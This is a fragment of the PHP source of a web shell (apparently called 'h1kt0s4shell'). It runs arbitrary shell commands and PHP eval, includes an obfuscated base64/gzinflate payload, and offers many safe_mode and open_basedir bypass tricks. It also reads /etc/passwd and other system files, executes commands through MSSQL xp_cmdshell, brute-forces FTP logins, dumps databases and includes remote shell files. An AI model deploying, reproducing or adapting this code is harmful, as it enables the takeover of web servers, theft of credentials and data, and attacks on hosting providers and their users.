$cont.= fread($fp,1024);
}
fclose($fp);
$fp2 = @fopen($file,"w");
fwrite($fp2,$cont);
fclose($fp2);
}
if (isset($_POST['funzip']))
{
dozip1($_POST['funzip'],$_POST['fzip']);
}
if(empty($_POST['root'])){
} else {
$root = $_POST['root']; }
$c = 0; $D = array();
set_error_handler("eh");
$chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
for($i=0; $i < strlen($chars); $i++){
$path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
$prevD = $D[count($D)-1];
glob($path."*");
if($D[count($D)-1] != $prevD){
for($j=0; $j < strlen($chars); $j++){
$path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
$prevD2 = $D[count($D)-1];
glob($path."*");
if($D[count($D)-1] != $prevD2){
for($p=0; $p < strlen($chars); $p++){
$path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
$prevD3 = $D[count($D)-1];
glob($path."*");
if($D[count($D)-1] != $prevD3){
for($r=0; $r < strlen($chars); $r++){
$path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
glob($path."*");
}
}
}
}
}
}
}
$D = array_unique($D);
foreach($D as $item)
if(isset($_REQUEST['root']))
echo "{$item}\n";
function eh($errno, $errstr, $errfile, $errline){
global $D, $c, $i;
preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
if($o){ $D[$c] = $o[2]; $c++;}
}
if($safe_mode)
{
switch($_POST['cmd'])
{
case 'safe_dir':
$d=@dir($dir);
if ($d)
{
while (false!==($file=$d->read()))
{
if ($file=="." || $file=="..") continue;
@clearstatcache();
list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
if(!$unix){
echo date("d.m.Y H:i",$mtime);
if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
}
else{
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
echo $inode." ";
echo perms(@fileperms($file));
printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
echo date("d.m.Y H:i ",$mtime);
}
echo "$file\n";
}
$d->close();
}
else echo $lang[$language._text29];
break;
}
}
else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
$cmd_rep = ex($_POST['cmd']);
if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
else { echo @htmlspecialchars($cmd_rep)."\n"; }}
if($_POST['cmd'])
{
switch($_POST['cmd'])
{
case 'test1':
$ci = @curl_init("file://".$_POST['test1_file']."");
$cf = @curl_exec($ci);
echo $cf;
break;
case 'test2':
@include($_POST['test2_file']);
break;
case 'mysqlb':
$mhost = "localhost";
$muser = $_POST['test3_ml'];
$mpass = $_POST['test3_mp'];
$mdb = $_POST['test3_md'];
$file = $_POST['test3_file'];
// default mysql_read files [seperated by: ':']:
$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
$mysql_files = explode(':', $mysql_files_str);
$sql = array (
"USE $mdb",
'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
"LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
. "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY '' "
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
"SELECT a FROM $tbl LIMIT 1"
);
mysql_connect ($mhost, $muser, $mpass);
foreach ($sql as $statement) {
$q = mysql_query ($statement);
if ($q == false) die (
"FAILED: " . $statement . "\n" .
"REASON: " . mysql_error () . "\n"
);
if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
echo htmlspecialchars($r[0]);
mysql_free_result ($q);
}
echo "</textarea>";
break;
case 'test4':
if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
$db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
if($db)
{
if(@mssql_select_db($_POST['test4_md'],$db))
{
@mssql_query("drop table h1kt0s4_temp_table",$db);
@mssql_query("create table h1kt0s4_temp_table ( string VARCHAR (500) NULL)",$db);
@mssql_query("insert into h1kt0s4_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
$res = mssql_query("select * from h1kt0s4_temp_table",$db);
while(($row=@mssql_fetch_row($res)))
{
echo $row[0]."\r\n";
}
@mssql_query("drop table h1kt0s4_temp_table",$db);
}
else echo "[-] ERROR! Can't select database";
@mssql_close($db);
}
else echo "[-] ERROR! Can't connect to MSSQL server";
break;
case 'test5':
if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
$extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
@mb_send_mail(NULL, NULL, NULL, NULL, $extra);
$lines = file ('/tmp/mb_send_mail');
foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
break;
case 'test6':
$stream = @imap_open('/etc/passwd', "", "");
$dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
@imap_close($stream);
break;
case 'test7':
$stream = @imap_open($_POST['test7_file'], "", "");
$str = @imap_body($stream, 1);
echo $str;
@imap_close($stream);
break;
case 'test8':
if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'];
else echo $lang[$language.'_text119'];
break;
case 'cURL':
if(empty($_POST['h1kt0s4'])){
} else {
$curl=$_POST['h1kt0s4'];
$ch =curl_init("file:///".$curl."\x00/../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
echo "</textarea></CENTER>";
}
break;
case 'copy':
if(empty($snn)){
if(empty($_GET['snn'])){
if(empty($_POST['snn'])){
} else {
$u1p=$_POST['snn'];
}
} else {
$u1p=$_GET['snn'];
}
}
$u1p=""; // File to Include... or use _GET _POST
$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp
$temp=tempnam($tymczas, "cx");
if(copy("compress.zlib://".$snn, $temp)){
$zrodlo = fopen($temp, "r");
$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);
echo "".htmlspecialchars($tekst)."";
unlink($temp);
echo "</textarea></CENTER>";
}
break;
case 'ini_restore':
if(empty($_POST['ini_restore'])){
} else {
$ini=$_POST['ini_restore'];
echo ini_get("safe_mode");
echo ini_get("open_basedir");
require_once("$ini");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"]);
echo "</textarea></CENTER>";
}
break;
case 'glob':
function reg_glob()
{
$chemin=$_REQUEST['glob'];
$files = glob("$chemin*");
foreach ($files as $filename) {
echo "$filename\n";
}
}
if(isset($_REQUEST['glob']))
{
reg_glob();
}
break;
case 'zend':
if(empty($_POST['zend'])){
} else {
$dezend=$_POST['zend'];
include($_POST['zend']);
print_r($GLOBALS);
require_once("$dezend");
echo "</textarea></p>";
}
break;
case 'sym1':
if(empty($_POST['sym1p'])){
} else {
$symp=$_POST['sym1p'];
}
if(empty($_POST['sym1p2'])){
} else {
$symp2=$_POST['sym1p2'];
symlink("a/a/a/a/a/a/", "dummy");
symlink("dummy".$symp2."".$symp."", "xxx");
unlink("dummy");
while (1) {
symlink(".", "dummy");
}
}
break;
case 'sym2':
@include(xxx);
break;
case 'plugin':
if ($_POST['plugin'] ){
for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "\n";
}
}
echo "</textarea>";
}
break;
case 'command':
if (!empty($_POST['command'])) {
if ($method=="system") {
system($_POST['command']);
echo "Functions system";
}
if ($method=="passthru") {
passthru($_POST['command']);
echo "Functions passthru";
}
if ($method=="exec") {
$string = exec($_POST['command']);
echo $string;
echo "Functions exec";
}
if ($method=="shell_exec") {
$string = shell_exec($_POST['command']);
echo $string;
echo "Functions shell_exec";
}
if ($method=="popen") {
$pp = popen($_POST['command'], 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
echo "Functions popen";
}
if ($method=="proc_open") {
$command = isset($_POST['command']) ? $_POST['command'] : '';
/* Load the configuration. */
/* Default settings --- these settings should always be set to something. */
/* Merge settings. */
session_start();
if (!empty($command)) {
/* Save the command for late use in the JavaScript. If the command is
* already in the history, then the old
login is removed before the
* new
login is put into the list at the front. */
if (($i = array_search($_POST['command'], $_SESSION['history'])) !== false)
unset($_SESSION['history'][$i]);
array_unshift($_SESSION['history'], $_POST['command']);
/* Now append the commmand to the output. */
$_SESSION['output'] .= '$ ' . $_POST['command'] . "\n";
/* Initialize the current working directory. */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_POST['command'])) {
$_SESSION['cwd'] = realpath($ini['settings']['home-directory']);
} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_POST['command'], $regs)) {
/* The current command is a 'cd' command which we have to handle
* as an internal shell command. */
if ($regs[1]{0} == '/') {
/* Absolute path, we use it unchanged. */
$new_dir = $regs[1];
} else {
/* Relative path, we append it to the current working
* directory. */
$new_dir = $_SESSION['cwd'] . '/' . $regs[1];
}
/* Transform '/./' into '/' */
while (strpos($new_dir, '/./') !== false)
$new_dir = str_replace('/./', '/', $new_dir);
/* Transform '//' into '/' */
while (strpos($new_dir, '//') !== false)
$new_dir = str_replace('//', '/', $new_dir);
/* Transform 'x/..' into '' */
while (preg_match('|/\.\.(?!\.)|', $new_dir))
$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
if ($new_dir == '') $new_dir = '/';
/* Try to change directory. */
if (@chdir($new_dir)) {
$_SESSION['cwd'] = $new_dir;
} else {
$_SESSION['output'] .= "cd: could not change to: $new_dir\n";
}
} elseif (trim($_POST['command']) == 'exit') {
logout();
} else {
/* The command is not an internal command, so we execute it after
* changing the directory and save the output. */
chdir($_SESSION['cwd']);
// We canot use putenv() in safe mode.
if (!ini_get('safe_mode')) {
// Advice programs (ls for example) of the terminal size.
putenv('ROWS=' . $rows);
putenv('COLUMNS=' . $columns);
}
/* Alias expansion. */
$length = strcspn($_POST['command'], " \t");
$token = substr($_POST['command'], 0, $length);
if (isset($ini['aliases'][$token]))
$command = $ini['aliases'][$token] . substr($_POST['command'], $length);
$io = array();
$p = proc_open($_POST['command'],
array(1 => array('pipe', 'w'),
2 => array('pipe', 'w')),
$io);
/* Read output sent to stdout. */
while (!feof($io[1])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
ENT_COMPAT, 'UTF-8');
}
/* Read output sent to stderr. */
while (!feof($io[2])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
ENT_COMPAT, 'UTF-8');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);
}
}
/* Build the command history for use in the JavaScript */
if (empty($_SESSION['history'])) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_SESSION['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';
}
}
}
break;
}
}
if ($_POST['cmd']=="ftp_brute")
{
$suc = 0;
foreach($users as $user)
{
$connection = @ftp_connect($ftp_server,$ftp_port,10);
if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
@ftp_close($connection);
}
echo "\r\n-------------------------------------\r\n";
$count = count($users);
if(isset($_POST['reverse'])) { $count *= 2; }
echo $lang[$language.'_text97'].$count."\r\n";
echo $lang[$language.'_text98'].$suc."\r\n";
}
if ($_POST['cmd']=="php_eval"){
$eval = @str_replace("<?","",$_POST['php_eval']);
$eval = @str_replace("?>","",$eval);
eval($eval);}
if ($_POST['cmd']=="mysql_dump")
{
if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
$sql = new my_sql();
$sql->db = $_POST['db'];
$sql->host = $_POST['db_server'];
$sql->port = $_POST['db_port'];
$sql->user = $_POST['mysql_l'];
$sql->pass = $_POST['mysql_p'];
$sql->base = $_POST['mysql_db'];
if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
else {
if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }
else { echo "[-] ERROR! Can't write in dump file"; }
}
}
echo "</textarea></div>";
echo "</b>";
echo "</td></tr></table>";
echo "<table width=100% cellpadding=0 cellspacing=0>";
function div_title($title, $id)
{
return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
}
function div($id)
{
if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';
return '<div id="'.$id.'">';
}
if(!$safe_mode){
echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}
else{
echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text208'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select name=\"method\">
<option value=\"system\" <? if ($method==\"system\") { echo \"selected\"; } ?>system</option>
<option value=\"passthru\" <? if ($method==\"passthru\") { echo \"selected\"; } ?>passthru</option>
<option value=\"exec\" <? if ($method==\"exec\") { echo \"selected\"; } ?>exec</option>
<option value=\"shell_exec\" <? if ($method==\"shell_exec\") { echo \"selected\"; } ?>shell_exec</option>
<option value=\"popen\" <? if ($method==\"popen\") { echo \"selected\"; } ?>popen</option>
<option value=\"proc_open\" <? if ($method==\"proc_open\") { echo \"selected\"; } ?>proc_open</option>
</select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text3'].$arrow."</b>".in('text','command',54,(!empty($_POST['command'])?($_POST['command']):("id"))).in('hidden','cmd',0,'command').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text223'],'id5').$table_up2.div('id5').$ts;
echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select name=\"method\">
<option value=\"file\" <? if ($method==\"file\") { echo \"selected\"; } ?> file</option>
<option value=\"fread\" <? if ($method==\"fread\") { echo \"selected\"; } ?> fread</option>
<option value=\"show_source\" <? if ($method==\"show_source\") { echo \"selected\"; } ?> show_source</option>
<option value=\"readfile\" <? if ($method==\"readfile\") { echo \"selected\"; } ?> readfile</option>
</select>".in('hidden','file',0,$dir).ws(2)."<b>".$lang[$language.'_text202'].$arrow."</b>".in('text','file',41,'/etc/passwd').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'copy').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','h1kt0s4',85,'/etc/passwd').in('hidden','cmd',0,'cURL').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>","<select size=\"1\" name=\"plugin\"><option value=\"plugin\">/etc/passwd</option></option></select>".in('hidden','cmd',0,'plugin').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts;
echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>");
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysqlb').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text220'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','sym1p2',50,(!empty($_POST['sym1p2'])?($_POST['sym1p']):("/../../../"))).in('text','sym1p',50,(!empty($_POST['sym1p'])?($_POST['sym1p']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text222'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
{
echo $fs.$table_up1.div_title($lang[$language.'_text204'],'id23').$table_up2.div('id23').$ts;
echo sr(15,"<b>".$lang[$language.'_text205'].$arrow."</b>",in('text','log',96,(!empty($_POST['log'])?($_POST['log']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'Crippling been planted and you can use filename.php?ss=http://shell.txt?').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id11').$table_up2.div('id11').$ts;
echo "<table class=table1 width=100% align=center>";
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','zend',85,(!empty($_POST['zend'])?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
echo $table_up1.div_title($lang[$language.'_text211'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text212']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','php_ini1',10,'php.ini').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text213']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','htacces',10,'htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text218']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','file_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text221'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','funzip',78,"$dir/file"));
echo sr(15,"<b>".$lang[$language.'_text65'].$arrow."</b>",in('text','fzip',105,"$dir/sploitz.zip").ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text219'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','filefrom',78,'http://website.com/file.txt'));
echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('text','fileto',105,filename_.php).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;
$aliases2 = '';
foreach ($aliases as $alias_name=>$alias_cmd)
{
$aliases2 .= "<option>$alias_name</option>";
}
echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}
{
echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=9>";
echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("readfile(\"/etc/passwd\");\r\necho file_get_contents(\"/etc/passwd\");\r\neval(gzinflate(base64_decode('NYzbCoJAEIavd2HfYRIvPERKF0FY0BP0AhVhNrmDpqJrJuG7N2oNzOmfb/7A85QEDw5xa3RZw+l4Sdseuc1yUlZ9Tak2sA7D7agFSippE+whjJTsNOUIDu872IQcLnyUFHZOBTJSlQ29rymaqmvpzpjLP4Ie4CzwWZnemUB3fhI/s5waw5YZ9kuwX7nLPhgn+s9OqMBEl+N1ZZ0LK5qkW41xNo0DF04QNvk+K8MX')));"));
echo "</textarea>";
echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
echo "</div></div></font>";
echo $te.'</div>'.$table_end1.$fe;
$select='';
if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
if($unix && $select){
echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($dir."/h1kt0s4shell.php"))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode){
echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
echo $te.'</div>'.$table_end1.$fe;
if(!$safe_mode && $unix){
echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;
echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&$curl_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
}
if($safe_mode)
{
echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
echo "<table class=table1 width=100% align=center>";
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&$mssql_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;
echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
